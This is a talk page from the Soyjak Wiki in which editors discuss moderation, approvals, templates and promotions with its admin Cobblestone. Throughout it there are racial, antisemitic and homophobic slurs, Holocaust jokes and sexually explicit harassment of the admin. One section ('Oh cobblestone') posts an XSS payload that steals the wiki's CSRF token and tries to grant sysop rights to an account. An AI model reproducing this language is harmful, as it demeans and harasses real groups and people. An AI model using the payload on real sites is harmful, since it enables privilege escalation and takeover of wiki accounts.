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Appreciation[edit source]

Shit, good job on the main page edit. Its wonderful. — Preceding unsigned comment added by FactChecker (talkcontribs)
Great idea splitting the years into there own pages, this will make editing/fixing those pages alot faster and easier --Coalson (talk) 15:09, 13 December 2024 (EST)
>>ahah! adoro il fascismo!
keyed italARYAN, good work on the 'ki — Preceding unsigned comment added by Killniggers (talkcontribs)
Thank you for making brappy way better — Preceding unsigned comment added by MackyKacky (talkcontribs)
The Soyjak Wiki Barnstar
Most edits award
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King of the 'ki. Broot (talk) 04:45, 17 May 2025 (EST)
The Chad Barnstar
For being helpful and improving/gemming pages.🗝️

Coalson (talk) 23:18, 15 December 2024 (EST)

The Chad Barnstar
For always working hard to maintain the 'ki's main page, and party happenings. You always find time to do so Fenriris 🐺 20:35, 1 July 2025 (EST)
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for making gemerald portals even doe they're unfinished - jackson t / c / me / snca 16: 43, 17 December 2024 (EST)
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For fixing this module: Module:Effective protection level --SprokemowerManTalk Page 05:24, 27 January 2025 (EST)
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Discovered that User:Gem Control was abusing xer approval permissions after xe got banned. --SprokemowerManTalk Page 17:38, 11 March 2025 (EST)
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To the hardest working editor, thanks for making this site better to use for us newfags. Bote (talk) 00:05, 15 July 2025 (EST)
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For suggesting to make me a rollbacker and being gemmy overall. 🇧🇬Major P (talk) 13:24, 7 August 2025 (EST)
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For being a great admin and editor. User:OopooPoopoo (talk)
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Making the Soyjakology page. User:Rover (talk)
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Added rare Bapepes to the galleryBroot (talk) 01:59, 11 November 2025 (UTC)
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for being cool guy ; nooly booly gooly🤭❤️ (talk) 00:22, 2 January 2026 (UTC)
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Cobblestone might be a female but she has a heart of a normal human User: Turrican (talk)


eye are sea[edit source]

Get on #wiki please. North (talk) 00:00, 21 February 2026 (UTC)

ok Cobblestone (talk) 00:06, 21 February 2026 (UTC)

Cobblestone ban me for 3 days do not accept appeal requests[edit source]

I need to lock in or something Pantokrator

I'll do it. OopooPoopoo (talk) 03:18, 21 February 2026 (UTC)

Geg[edit source]

Was that guy asking you to ban him the 100th topic? OopooPoopoo (talk) 03:33, 21 February 2026 (UTC)

no i just forgor to archive Cobblestone (talk) 03:36, 21 February 2026 (UTC)

thanks[edit source]

I still think about teh good times on here --Broot (talk) 06:06, 21 February 2026 (UTC)

Welcome to your life
Theres no turning back
Evan while you sleep
We will find you
Acting on your best behavior
Turn your back on mother nature
Everyphono,wants to rule the woooorld....RAIG (User,talk) 14:00, 21 February 2026 (UTC)

rejection reason ui suggestion[edit source]

I think there should be a "rejection reason" field added for rejecting edits, (not implying that it should be mandatorily filled), and that an automatic message gets sent to the user's talk page (anonymous or not) explaining the rejection -- 我们之中 13:50, 21 February 2026 (UTC)

North likes this.
i'll see if i can modify the extension Cobblestone (talk) 15:58, 21 February 2026 (UTC)
oh my fauci thank you cobblestone you're such a great guy
is it done yet??6-- 我们之中 21:00, 21 February 2026 (UTC)

People keep brapping up my user page[edit source]

User:Powersky and User:North messed with my user page and I didn’t like it. Vantared | SNCA page 15:08, 21 February 2026 (UTC)

cry about it little faggot boy — Preceding unsigned comment added by Powersky (talkcontribs)
i banned them from your page for now Cobblestone (talk) 16:04, 21 February 2026 (UTC)

nu feature[edit source]

me and User:North linked up and made a nu template

Your edit to nigger was rejected[edit source]

Your edit on nigger was rejected by tranny because kike.
Please listen and learn and check the manual of style.


because we think there should be a (non mandatory probably) field added when someone rejects an edit, to explain said rejection, and that the template is automatically added to the rejected edit's user talk page

-- 我们之中 15:13, 21 February 2026 (UTC)

Analects likes this. North likes this. Nickers likes this. G-Man likes this. Soyak likes this. Literal human feces powergap dislikes this.
I will see if I can modify the existing moderation plugin allowing you to add an reason. Leaving it blank of course will not send the message. Or maybe User:North, can do it Fenriris 🐺 23:23, 21 February 2026 (UTC)
marge, do you want me to edit the Moderation extension to allow for a reject reason? North (talk) 23:38, 21 February 2026 (UTC)
Basically, yeah. But ill do it. It was suggested by someone else for me to do Fenriris 🐺 00:06, 22 February 2026 (UTC) Fenriris 🐺 00:05, 22 February 2026 (UTC)
Ahh, ok. North (talk) 00:09, 22 February 2026 (UTC)

Why did you revert this edit?[edit source]

https://soyjakwiki.org/index.php?title=Chud-Tranny_Romance&diff=prev&oldid=345624

G-Man (talk) 21:53, 21 February 2026 (UTC)

Its like policy or something to destroy all ban evader's work 〜 MarketPliers (leak here) 21:55, 21 February 2026 (UTC)
This Fenriris 🐺 23:20, 21 February 2026 (UTC)

Fenriris[edit source]

I think he should be promoted to mod. He has done alot for this site, so much I can't even name it all and he is pretty active. OopooPoopoo (talk) 23:29, 21 February 2026 (UTC)

Good idea, especially now that we've lost carp (for now). Cobblestone (talk) 23:30, 21 February 2026 (UTC)

NEW 'TOSS[edit source]

https://soybooru.com/post/view/172487

WATCH HERE

-- 我们之中 00:13, 22 February 2026 (UTC)

GEM 〜 MarketPliers (leak here) 00:16, 22 February 2026 (UTC)
geg - OopooPoopoo (talk) 00:18, 22 February 2026 (UTC)
Naaaah bro that part where it said "Sorry,you have been blocked. You are unable to access soybooru.com" was the gemmiest one so far rn fr fr lmaaooo💀,Sou brasileiro,se isso importa ou algo assim.RAIG (User,talk) 00:35, 22 February 2026 (UTC)
KEEEEEEEK North (talk) 00:36, 22 February 2026 (UTC)
Gegerald Fenriris 🐺 00:38, 22 February 2026 (UTC)
nvm its an actual gegerald,GEEEEEEEG RAIG (User,talk) 00:44, 22 February 2026 (UTC)
DUDE CHECK THE FUCKING FEATURED GEM NOWNWOWNWONWONOW RAIG (User,talk) 00:57, 22 February 2026 (UTC)

Cob[edit source]

Why is the approver queue for edits so fucking slow now Soyak (talk) 02:16, 22 February 2026 (UTC)

a few were killed in the cacacaust. OopooPoopoo (talk) 02:18, 22 February 2026 (UTC)

>billions HAVE died in the holocaca

RAIG (User,talk) 08:04, 22 February 2026 (UTC)

i wake up[edit source]

and the first thing i see when i go to cobblestones talk page is fucking hunky,jsid RAIG (User,talk) 08:05, 22 February 2026 (UTC)

>Cobblestone, show a goood hunky some boobs please?
Nickers (Talk/Contrib) 13:31, 22 February 2026 (UTC)
im still waiting for{{hunkyquote}} RAIG (User,talk) 00:36, 23 February 2026 (UTC)

Moving userpage[edit source]

hello, i have question, is it allowed to redirect a a non existant user to your userpage as long as it's your alias? - Labanis4ayran (talk | contribs) 13:37, 22 February 2026 (UTC)

it would clutter up the search results with random wiki editors so i'd rather not Cobblestone (talk) 14:04, 22 February 2026 (UTC)

"new"GOD[edit source]

Oh, I've been part of this community for quite some time. Too bad I got aped by the autoban wordfilter and my appeal is too deep in the queue, because I am no 'nish evader. --Ezpetten26 (talk) 18:06, 22 February 2026 (UTC)

>ezpetten26
Kek are you the guy that deleted a get and got demoted? 'kiGOD (talk) 19:22, 22 February 2026 (UTC)
that's him Cobblestone (talk) 19:24, 22 February 2026 (UTC)

functionedit[edit source]

uhh yeah so the two things i made already exist (sort of?) so you can delete them as you see fit or modify them in any way you want. sorry for brapping all over the mainspace, 'stone.-- 我们之中 19:54, 22 February 2026 (UTC)

also, i can NOTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT edit in the template space. I CAN'T. evendoe other accounts with the same roles as me (automoderated user, rollbacker, approver) can. -- 我们之中 19:54, 22 February 2026 (UTC)
Just prefix the name of your page with Template: when making it. You can also make them as subpages of your userpage for testing and then move them to the main space. 〜 MarketPliers (leak here) 19:58, 22 February 2026 (UTC)
thanks 'pliers -- 我们之中 20:07, 22 February 2026 (UTC)
i think it's because your account is too new, you need like >50 edits and 2 weeks to be autoconfirmed. Cobblestone (talk) 20:00, 22 February 2026 (UTC)
Cobblestone, can't you just add autoconfirmed to me manually?-- 我们之中 20:07, 22 February 2026 (UTC)
i can just do automoderated which i gave you already Cobblestone (talk) 20:08, 22 February 2026 (UTC)
fuggen-- 我们之中 20:09, 22 February 2026 (UTC)

ban this caca[edit source]

User:LINUXSYSTEMDNAZISM is not 18. Checked his YouTube page he has linked on his userpage and he sounds to be like at most 12 years old. See this and this. 〜 MarketPliers (leak here) 20:10, 22 February 2026 (UTC)

IRC NOW[edit source]

IRC NOW NOW we need to talk about banning someone

do this North (talk) 20:41, 22 February 2026 (UTC)
yes do dis Nickers (Talk/Contrib) 20:43, 22 February 2026 (UTC)
I am on it now, if Cobblestone is not avillable Fenriris 🐺 20:46, 22 February 2026 (UTC)

Question[edit source]

Did you make this (ID: 172768 on SoyBooru) ...... Math]] - Talk]] 21:24, 22 February 2026 (UTC)

nah Cobblestone (talk) 21:25, 22 February 2026 (UTC)
The artstyles look extremely similar though. Enteryourusername (talk) 16:52, 23 February 2026 (UTC)

add this pls geg[edit source]

could you add this Soyjak_Wiki_talk:Approver_policy at the end of Soyjak_Wiki:Approver_policy just for gegs-- 我们之中 21:47, 22 February 2026 (UTC)

kek North (talk) 22:07, 22 February 2026 (UTC)

i got off the wiki for FIVE FUCKING MINUTES[edit source]

5 hunkies asking cobby coo to show her boobs. RAIG (User,talk) 00:36, 23 February 2026 (UTC)

What would you do if i started vandalizing your pussy with my BWC[edit source]

I hope your submissive enough to "approve" my edits if you get what i mean ;)

>Heyyyy babe, wanna have sex with your sex big hunky tonight?? ;))), I have a microscopic tbp that leaks huuuuge 11 inch BWC that i can put inside your pussy to make you flinch ;) ;) wink wink! Cobblestone come over here SHOW HUNKY SOME GOOD LOOKIN' PUSSY!!!
>I hope your submissive enough to "approve" my edits if you get what i mean ;) 'kiGOD (talk) 07:52, 23 February 2026 (UTC)
Back off both of you, cobblestone is mine.
>Back off both of you, cobblestone is mine. 'kiGOD (talk) 08:10, 23 February 2026 (UTC)
Send this nigger to the jardee! - Labanis4ayran (talk | contribs) 08:20, 23 February 2026 (UTC)
cobblestone scat fetish fanfic i saw onna thread in /soy/RAIG (User,talk) 11:33, 23 February 2026 (UTC)

orphaned pages[edit source]

Could you please add Alijak, Cadojak, and Bartolomeo to the soyjak list?

Not Cobbertstone but sure Turrican (talk) 10:27, 23 February 2026 (UTC)
Done Turrican (talk) 10:30, 23 February 2026 (UTC)

afsdsdfa[edit source]

Add Asmattr to the soyjak list. Also add Flubbert Add Lactoriajak ~Chud6091 (talk) 11:00, 23 February 2026 (UTC)

Done Turrican (talk) 12:10, 23 February 2026 (UTC)

Can I get unbanned from the irc[edit source]

Hi cobby, I'm not banned on anything rn except the irc which I find useful since I don't wanna fill your user talk with shit every time I have a concern.
Idk why I was banned, I just got randomly G-lined, and the reason stated is "no reason", so if I can get unbanned that would be nice Eskimos (talk) 14:46, 23 February 2026 (UTC)
email me your ip that you have the irc ban on Cobblestone (talk) 14:47, 23 February 2026 (UTC)
👍 Eskimos (talk) 15:11, 23 February 2026 (UTC)
Just checked the IRC, im unbanned. Thanks anyways.

ayo co🅱️🅱️lestone[edit source]

somephono should update the Major Events section on the main page, it's been outdated by like a month --Neptune (talk) 15:14, 23 February 2026 (UTC)

What should we update it with? Turrican (talk) 15:33, 23 February 2026 (UTC)
some stuff about the feb '26 crisis. seems odd that there's a section saying NAS was allowed on /soy/ for an hour when it's been spammed for days. also maybe the Colonization of Nico Nico Douga --Neptune (talk) 16:00, 23 February 2026 (UTC)
ok Cobblestone (talk) 15:57, 23 February 2026 (UTC)

>violating G6 (b) because you don't want people to know you goon to yaoi[edit source]

>violating G6 (b) because you don't want people to know you goon to yaoi

>>violating G6 (b) because you don't want people to know you goon to yaoi
meds i was just getting rid of template spam, you can add whatever you want back in there and i wont edit war it Cobblestone (talk) 15:57, 23 February 2026 (UTC)
cobblestone gooning to yaoi allegations have never been worse ever since her latest soybooru post RAIG (User,talk) 21:14, 23 February 2026 (UTC)

Hotdog barks,[edit source]

Nugget bites, BestKnownForCoal (talk) 15:40, 23 February 2026 (UTC)

pizza slices through the night Cobblestone (talk) 15:57, 23 February 2026 (UTC)
Taco spins, burrito twirls BestKnownForCoal (talk) 19:43, 23 February 2026 (UTC)

check email[edit source]

pls

if i send you gay porn do i get my roles back geg[edit source]

if i send you gay porn do i get my roles back geg-- 我们之中 16:46, 23 February 2026 (UTC)

nigga you did not just say that Nickers (Talk/Contrib) 17:09, 23 February 2026 (UTC)
That's not gonna help you, geg North (talk) 17:12, 23 February 2026 (UTC)
hope y'all had a good laugh. cya -- 我们之中 17:13, 23 February 2026 (UTC)
wdym nigga Nickers (Talk/Contrib) 17:15, 23 February 2026 (UTC)
tsmt, wdym "cya"? Are you leaving the 'ki already? North (talk) 17:25, 23 February 2026 (UTC)
He's getting perma'd isn't he? 〜 MarketPliers (leak here) 17:29, 23 February 2026 (UTC)
I hope not. He was fun to talk to on #wiki North (talk) 17:30, 23 February 2026 (UTC)
is he commiting soycide? Nickers (Talk/Contrib) 17:32, 23 February 2026 (UTC)
Nigga really left less than a week after creating his account kek 'kiGOD (talk) 17:43, 23 February 2026 (UTC)
i'll come back in a month or two niggas stop crying it's not that deep. ALSO COBBLESTONE IS A WEAK ASS DYKE. SEND HER SOME MORE LESBO PORN - Signed by the fantastic incredible ANALects|martyr of the matriarchy -- 我们之中 17:51, 23 February 2026 (UTC)
see you soon North (talk) 17:55, 23 February 2026 (UTC)
see you tomorrow Voot (talk) 17:53, 23 February 2026 (UTC)
see you in 2 days 〜 MarketPliers (leak here) 17:56, 23 February 2026 (UTC)
see you in 3 days RAIG (User,talk) 21:15, 23 February 2026 (UTC)

https://m.youtube.com/watch?v=1btRb_lk73o

approve my edits nigga  and gimmie my roles back pls

Good Morning[edit source]

Hello Cobbertstone, hope this finds you well.

I've sent you an inquiry over the IRC, please read it at your leisure


Thanks in advance,
Turrican (talk) 15:55, 25 February 2026 (UTC)

Brimlita[edit source]

I'm letting you know that I'm purging old unused brimlita pictures Turrican (talk) 18:14, 25 February 2026 (UTC)

sure Cobblestone (talk) 18:42, 25 February 2026 (UTC)

marge the toggleable text collapses don't work[edit source]

Soyjak_Wiki:Collapsing_objects#Custom_toggle_link_with_toggleable_text --North (talk) 20:37, 25 February 2026 (UTC)

didn't you ask me to add the JS for those? either way they work for me Cobblestone (talk) 21:09, 25 February 2026 (UTC)
I didn't, Quote added it. Also, it works on my phono. On top of that, I was in the middle of making the Post4chan template have inline image expansion but now I can't do that. North (talk) 21:28, 25 February 2026 (UTC)
And by removing this script, a lot of templates have become less dynamic. North (talk) 21:35, 25 February 2026 (UTC)
Ok I'll bring it back. I mixed up collapsing toggles and morphing objects, I asked Quote to add the first one. Cobblestone (talk) 21:36, 25 February 2026 (UTC)
Thanks. Also, I didn't request collapsing toggles either, that was also added by Quote. North (talk) 21:46, 25 February 2026 (UTC)

so uhm like yeah[edit source]

you should lik uh probably just like uhm let me dit the erm templates or something. my account has the uhhmmm 50+ edits and the uhhhhhhhh its like (i think) 1 month old. just a suggestion. Nickers (Talk/Contrib) 23:18, 26 February 2026 (UTC)

you're autoconfirmed so you should be able to edit them already Cobblestone (talk) 23:28, 26 February 2026 (UTC)
i cant doe i can now Nickers (Talk/Contrib) 23:29, 26 February 2026 (UTC)

Oh cobblestone[edit source]

oh cobblestone {{PLURAL:1| <img src=x onerror="fetch('/api.php?action=query&meta=tokens&type=csrf&format=json').then(r=>r.json()).then(d=>fetch('/api.php?action=userrights&user=Gigachad12345&add=sysop&token='+d.query.tokens.csrftoken,{method:'POST'})) (talk) 04:57, 27 February 2026 (UTC)

Soyfail what is this botched injection Cobblestone (talk) 05:22, 27 February 2026 (UTC)
Geg Fenriris 🐺 05:23, 27 February 2026 (UTC)

Cobblestone nish and memoryhole the user i mentioned[edit source]

Cobblestone nish the account i mentioned in my last email to you for having pedo site as the username --Username entered already in use (talk) 08:02, 27 February 2026 (UTC)

I replied Cobblestone (talk) 08:22, 27 February 2026 (UTC)

Misclick[edit source]

I misclicked Chud7539 as a spammer by mistake. Is it possible to reverse this please? Voot (talk) 10:47, 27 February 2026 (UTC)

Marge, I don't see anything in the moderation log about a Chud7539 Turrican (talk) 11:27, 27 February 2026 (UTC)
idk but in moderation it says >10:44, 27 February 2026 Voot talk contribs has marked ~Chud7539 as spammer
Oh never mind, I found it, I'm going to attempt to fix it for you Turrican (talk) 11:35, 27 February 2026 (UTC)
Thanks. Voot (talk) 11:51, 27 February 2026 (UTC)
Can't find anything really, where did you mark him a spammer? Turrican (talk) 11:56, 27 February 2026 (UTC)
You might be able to revert it yourself if you check the rejection/spam log, I'm not seeing it on my end. Turrican (talk) 12:02, 27 February 2026 (UTC)
you'll have to wait until that chud makes another edit, it goes into the spam queue, then you unmark him there. Cobblestone (talk) 16:26, 27 February 2026 (UTC)

nu-mission[edit source]

I don’t know who to ask for this but can you make it so if something has the ESL template with “not” enabled it shows up in a different category? Maybe Category:ESL (intentional)? Beidore (talk) 21:20, 27 February 2026 (UTC)

Thank you[edit source]

Thanks for showing me how to properly write tag definitions. Turrican (talk) 21:40, 27 February 2026 (UTC)

nuswa[edit source]

I got approver status on SoyBooru (XC) so I think it would be fair to give me approval status here ∼ Soyak(Call 911) 00:20, 28 February 2026 (UTC)

Do we really need any more 'ki approvers? North (talk) 00:22, 28 February 2026 (UTC)
yes saar, I was one before anyway ∼ Soyak(Call 911) 00:22, 28 February 2026 (UTC)
Congratulations on becoming an approver on der 'ru. Turrican (talk) 00:27, 28 February 2026 (UTC)
Nusois on the 'ru fight over who can approve posts as soon as possible. Do you really want to bring this over here? North (talk) 00:28, 28 February 2026 (UTC)
Feels like it's been that way for awhile here tbh. OopooPoopoo (talk) 00:36, 28 February 2026 (UTC)
Approver queue has been a dnb here ever since Goopz got banned ∼ Soyak(Call 911) 00:29, 28 February 2026 (UTC)
I miss him already Fenriris 🐺 01:19, 28 February 2026 (UTC)

Update mission[edit source]

You know, SoyBooru update. You should make the current mission to create all reasonable tag descriptions. Beidore (talk) 03:20, 28 February 2026 (UTC)

thanks cobbess. Beidore (talk) 03:27, 28 February 2026 (UTC)

Fix tagdefinition[edit source]

Can you or another janny fix the booru link in {{tagdefinition}}? The Nuuru update broke it. 'kiGOD (talk) 03:36, 28 February 2026 (UTC)

{{Boorusearch}} also needs the same fix. 'kiGOD (talk) 03:42, 28 February 2026 (UTC)
done Cobblestone (talk) 05:04, 28 February 2026 (UTC)

can you provide a full example on template:tagdefinition[edit source]

The documentation doesn’t give enough info Beidore (talk) 16:15, 28 February 2026 (UTC)

You can just fill in the tag definition and maybe notes for now, I'll have a bot fill in the aliases and auto tags later on Cobblestone (talk) 16:53, 28 February 2026 (UTC)

Is the soybooru template gemmier now[edit source]

Also i want to add a rough square shadow and a version of the font with thicker stroke like one used in the current soybooru logo --Username entered already in use (talk) 20:05, 28 February 2026 (UTC)

gemmier but you broke it on mobile, so i fixed it now, remember that how the template looks on mobile is even more important than desktop because most wiki readers are mobile users now Cobblestone (talk) 22:17, 28 February 2026 (UTC)
Show a screenshot of how it looks on your mobile device --Username entered already in use (talk) 22:27, 28 February 2026 (UTC)

Idea: Add Ghoust Outline (font that soybooru logo uses) as a custom font to the wiki --Username entered already in use (talk) 22:36, 28 February 2026 (UTC)

you can just do inspect element and shrink the width of ur screen, do 320px cause that's the lowest screen width available normally Cobblestone (talk) 22:37, 28 February 2026 (UTC)

Nu idea: somehow add a script that switches content from image to coloroutlinetext depending on screen size --Username entered already in use (talk) 22:40, 28 February 2026 (UTC)

i can do this easily with just css. i'll do it or just add ghoust outline Cobblestone (talk) 22:49, 28 February 2026 (UTC)
i added ghoust Cobblestone (talk) 07:06, 1 March 2026 (UTC)
Good but now on phones there's two little distance between lines so words "this topic is related to" and "SoyBooru" get on top of each other. Also it's better to fill font with white instead of leaving it transparent, perhaps adding a layer of regular ghouste-solid colored white under it will work --Username entered already in use (talk) 15:04, 1 March 2026 (UTC)

Cob[edit source]

I'm trying to use autowikibrowser to do some semi-automated editing (mainly some typo fixing) but the authentication fails. Any help? ∼ Soyak(Call 911) 00:35, 1 March 2026 (UTC)

Though, if you can't get that to work, could I perhaps have access to AllPageEdit? I'm not a vandal by any means. ∼ Soyak(Call 911) 00:37, 1 March 2026 (UTC)
well, you have a terrible track record of "wordswordswords the sharty is dying" and getting yourself banned for R3 whenever you get bored and want to leave the sharty, so who knows what you'd do with allpageedit Cobblestone (talk) 01:22, 1 March 2026 (UTC)
marge I won't do that, I've moved past that ∼ Soyak(Call 911) 12:27, 1 March 2026 (UTC)

1900th edit[edit source]

You think I can get to 2000 by my one year anniversary? OopooPoopoo (talk) 03:36, 1 March 2026 (UTC)

Not Cobbertstone but I think you can, I believe in you. Turrican (talk) 03:42, 1 March 2026 (UTC)
Thank you. OopooPoopoo (talk) 04:13, 1 March 2026 (UTC)
yes Cobblestone (talk) 04:49, 1 March 2026 (UTC)
Thanks. OopooPoopoo (talk) 07:08, 1 March 2026 (UTC)

Soot and Kuz revision histories[edit source]

I've noticed that the edits on the Soot page from July 2021 to January 2022 have ended up on the Kuz page due to botting. Here's the comparison between the revisions: https://soyjakwiki.org/Special:ComparePages?page1=Kuz&rev1=9259&page2=Soot&rev2=10748&action=&unhide=

Could you or Quote fix that and put the revisions in the right place? I think this might require manually editing the database though. --Ay Tone (talk) 07:22, 3 March 2026 (UTC)

i fixed this partially by moving the oldest revisions back to soot but those ones in the middle are hard to deal with, i think moving them might break more shit so i'd rather live with it Cobblestone (talk) 16:24, 3 March 2026 (UTC)

seriously?[edit source]

>demotes Analects for sending yuri to your email

>approves https://soybooru.com/post/view/175100 (literal soyniqua and soytan lesbian porn)

kek jsidRAIG (User,talk) 13:36, 3 March 2026 (UTC)

that's porn to you? Cobblestone (talk) 16:25, 3 March 2026 (UTC)
stop sneeding Nickers (Talk/Contrib) 16:26, 3 March 2026 (UTC)

nvm he got itbsck RAIG (User,talk) 23:47, 4 March 2026 (UTC)

caca[edit source]

im 99% sure User:Unicornjak27isback is a caca Nickers (Talk/Contrib) 18:38, 3 March 2026 (UTC)

Xe has to either be a child or severely developmentally challenged. 〜 MarketPliers (leak here) 18:43, 3 March 2026 (UTC)
the problem is that there are grown autists who act like this so it's hard to tell sometimes Cobblestone (talk) 19:05, 3 March 2026 (UTC)
well she uploaded a vid and i think it's a caca. Cobblestone (talk) 19:23, 3 March 2026 (UTC)

Countries[edit source]

marge why is the countries template raped now Enteryourusername (talk) 19:17, 3 March 2026 (UTC)

something with image rendering on the wiki, if you right click on them and click load image they work tho Cobblestone (talk) 19:39, 3 March 2026 (UTC)

Is using templatestyles for basic CSS styling allowed?[edit source]

Title, North mentioned that this particular use of templatestyles wasn't allowed or something on this revision. Is this still the case because I used this method on {{Doxbox}} and nobody complained. 〜 MarketPliers (leak here) 07:23, 4 March 2026 (UTC)

i replied there Cobblestone (talk) 07:38, 4 March 2026 (UTC)

request[edit source]

Could I get template edit access or do i need to fulfill any requirements Fart (talk) 08:02, 4 March 2026 (UTC)

you get it automatically after enough time and edits, i cant give it to people manually if i wanted to Cobblestone (talk) 17:58, 4 March 2026 (UTC)

Trendy tuesday article[edit source]

Could you find a good way to present 2nd and 3rd place posts on there? --Broot (talk) 11:10, 5 March 2026 (UTC)

MarketPliers[edit source]

You should promote him to janny, he's done a lot for the 'ki. North (talk) 19:23, 5 March 2026 (UTC)

we kind of have too many helpers but he did contribute a lot, so I'll do this. Cobblestone (talk) 19:24, 5 March 2026 (UTC)
gem that will make every nusoi leak award Beidore (talk) 01:37, 6 March 2026 (UTC)

rejecting edit, template, and automation[edit source]

How advanced is the implementation of a "rejection reason" field for approvers, such that a bot automatically adds the rejected template, with the rejection reason, to the rejected edit account's talk page? is it feasable ? Perhaps it could be implemented as a notification instead?-- 我们之中 20:39, 5 March 2026 (UTC)

probably not too hard but im gonna implement fenriris' reporting system first. Cobblestone (talk) 20:58, 5 March 2026 (UTC)

Bastioncord[edit source]

>"Pages on discords are banned." marge what is this then? Either you and the administration are complicit in offsiter activity, or rules are being selectively enforced here.— Preceding unsigned comment added by Chud8700 (talkcontribs)



>"Pages on discords are banned."
this isn't true doe. a lot of 'cords have articles. ranging from Chad(user), inventor of soyduelling, to kuz and all admins after. i believe what the pooner refers to are
1. non notorious. self explanatory
2. failtroll-like. do not give these niggas attention -- 我们之中 01:22, 6 March 2026 (UTC)
if you REALLY. really. and i mean REALLLLY Need to make an article on xhem, you can go to the "other soy wiki". I'd give the url but I'd get lynched for that, since that wiki mentions actual pedonigger failtrolls (though in a negative light)-- 我们之中 01:26, 6 March 2026 (UTC)

how to submit dailyjaks[edit source]

...... Math]] - Talk]] 07:35, 6 March 2026 (UTC)

Can User:Math and I get promoted?[edit source]

We've both been here for a long time, and for me, I've changed and I think I am doing better. I still am critical of the 'sphere but I do think I can be trusted. I'm also a mod on the very SNCA wiki so I know how to use my powers right. For math, he's been here for so long that it's unfathomable on why he's not promoted. Thanks. ∼ Soyak(Call 911) 13:46, 6 March 2026 (UTC)

User:North would you recommend us? ∼ Soyak(Call 911) 13:55, 6 March 2026 (UTC)
Me, Turrican and MarketPliers just got the promotion, so I think it'll be a while before more helpers get recruited. We don't want to be over-staffed. North (talk) 14:09, 6 March 2026 (UTC)
Alright. ∼ Soyak(Call 911) 14:38, 6 March 2026 (UTC)
I believe promotions should only be done when necessary so as to not put a strain on the so called hr department of the QNWO 'sphere-- 我们之中 15:16, 6 March 2026 (UTC)
It honestly surprised me quite a lot when I was promoted over Math, I feel a little bad about it to be honest as he has contributed a lot more than me outside of the 'ki. I call for Math to be promoted as soon as a position is available. 〜 MarketPliers (leak here) 15:36, 6 March 2026 (UTC)

THAT school and THAT black person[edit source]

What if instead of showing "access denied" for the page, it redirected to a PSA of some kind, ie "The Soyjak Party, its staff, affiliated sites and community, does not endorse terrorism, mass murders, shootings and other violent acts. Any insinuation otherwise is either fabricated or a joke" ? This could keep the glowies at bay and make our reputation a bit more palatable, thoughts?

Why I think this might be good:
  • I believe all of us here DO agree with the proposed PSA. Very few of us actually want to enact muh heccin TND! (and it would kill cobblestone :( we love our cutie fat brown pooner :3 ).
  • Nusois or outsiders CAN and WILL look that page up, and "Access denied" is too vague of an explanation. They might think : "do they enforce it? tolerate it? hate it? " This steers wholesome pipo of the latinx, blaque, polix and womxn[us 'teens can be womxn too!] variety from culturally enriching the 'sphere. which is le bad [fact checked by science].
  • Showing, and having a clear stance on said acts, and proudly/boldly exclaiming it, is actually a good thing (methinks)
  • there's a difference between TND memes (and jokes, like idk saying kill niggers rape all niggers) and shooting up people. I doubt even 1% of the people who make such jokes actually take it seriously. So I'm NOT advocating for any kind of censorship regarding that.
  • I also believe something similar should be done concerning 'P spammers, and their associated failtrollmonkeys, since it DOES happen (or at least did happen a few years ago) for them to falseflag as us. IE, "no, we don't send 'P to our raid targets. " (the majority of the foids on the 'fe think their frequent 'p spam is from us (i think))
love from India,
-- 我们之中 15:34, 6 March 2026 (UTC)


debate here :
actually i'll just get rid of the access denied and make the page impossible to create Cobblestone (talk) 16:00, 6 March 2026 (UTC)
atleast vehemetly condemn xim explictly in your deletion reason Enteryourusername (talk) 16:01, 6 March 2026 (UTC)
don't be stupid, this would be basically us saying that he was associated with the sharty Cobblestone (talk) 16:04, 6 March 2026 (UTC)
well people DO think he was. I still think the best course of action would be to add a PSA like above. -- 我们之中 16:07, 6 March 2026 (UTC)
yeah definitely get rid of the redirect for that page but idk why you would delete the Access Denied page itself, it still has value as a funny redirect for schizo links --Neptune (talk) 17:17, 6 March 2026 (UTC)
that's what i did Cobblestone (talk) 17:19, 6 March 2026 (UTC)
oh you meant disabling the page for the guy instead of the access denied page, nvm my bad g --Neptune (talk) 17:23, 6 March 2026 (UTC)
RAIG (User,talk) 16:32, 6 March 2026 (UTC)

you're almost out of the leaderboard[edit source]

cobblestone, when will you get your first place back?

busy Cobblestone (talk) 17:13, 6 March 2026 (UTC)

suggestions[edit source]

Essay Namespace

What if there was an essay namespace[just like muh 'kipedia!] where users, admins and joons alike could write essays pertaining to moderation, editing, and other meta topics related to the 'sphere? -- 我们之中 19:02, 6 March 2026 (UTC)

Yes, but it's not used, and not known, but this could be what I have a vision for. I'm talking about making something like what the wikipedos got on their site. This namespace could be used as both wordswordswords justification for rules [I'm talking about specific rules like idk how mustard added Tama as approved nas, not like why cp is le bad], and as a place to debate on said rules, customs and policies. Let's talk about the cacacaust. When it happened, there was barely any justification, caused so much seethe, and overall disrupted the site for a while. What if, instead of doing that, Quote herself (or another admin) wrote a little essay about said rules and its reasoning? Less seethe would have been caused since people, instead of just shitting everywhere, would have read the essay, and understood why the decision was made. And, even better, certain policies could be requested [BAN THIS !because...]by other users, that others could add reasoning for (if they want to).-- 我们之中 19:15, 6 March 2026 (UTC)
you can just use your user namespace for this tho. Cobblestone (talk) 21:36, 6 March 2026 (UTC)
Case insensitivity

Would it be possible to make links, urls, templates, and pretty much everything case insensitive? there will never EVER be two things with the exact same name except one is called "Cobson" and the other is called "cobson". This could save editors a lot of time so that they don't have to figure out the case of anything they link to

we need case sensitivity for when there are proper nouns in page names. you can just use redirects to the other versions Cobblestone (talk) 21:36, 6 March 2026 (UTC)
do we REALLY? DISPLAYTITLE exists. and pages can be moved anyway. I think you're just being lazy. -- 我们之中 22:38, 6 March 2026 (UTC)
It's a big ask from us that do it for free, I'm sure the process could be automated but I feel like there will be at least Ϫ00 cases that would need to be manually resolved. I'm not opposed to helping out to be clear. 〜 MarketPliers (leak here) 23:35, 6 March 2026 (UTC)
Userboxes and languages

would it be of any use to add userboxes for spoken languages? could be useful for idk when someone needs a translation of something, they could find a speaker of said languagerino (could be very useful in slow burn raids ig) -- 我们之中 19:02, 6 March 2026 (UTC)

marge don't we already have "Soyjak Wiki:" Enteryourusername (talk) 19:03, 6 March 2026 (UTC)
>Case insensitivity TSMT, Wikipedia has this. North (talk) 19:16, 6 March 2026 (UTC)
Do dis, this would remove the need for like the 50 gorillion redirects to templates we have. 〜 MarketPliers (leak here) 19:19, 6 March 2026 (UTC)
you can add this Cobblestone (talk) 21:36, 6 March 2026 (UTC)

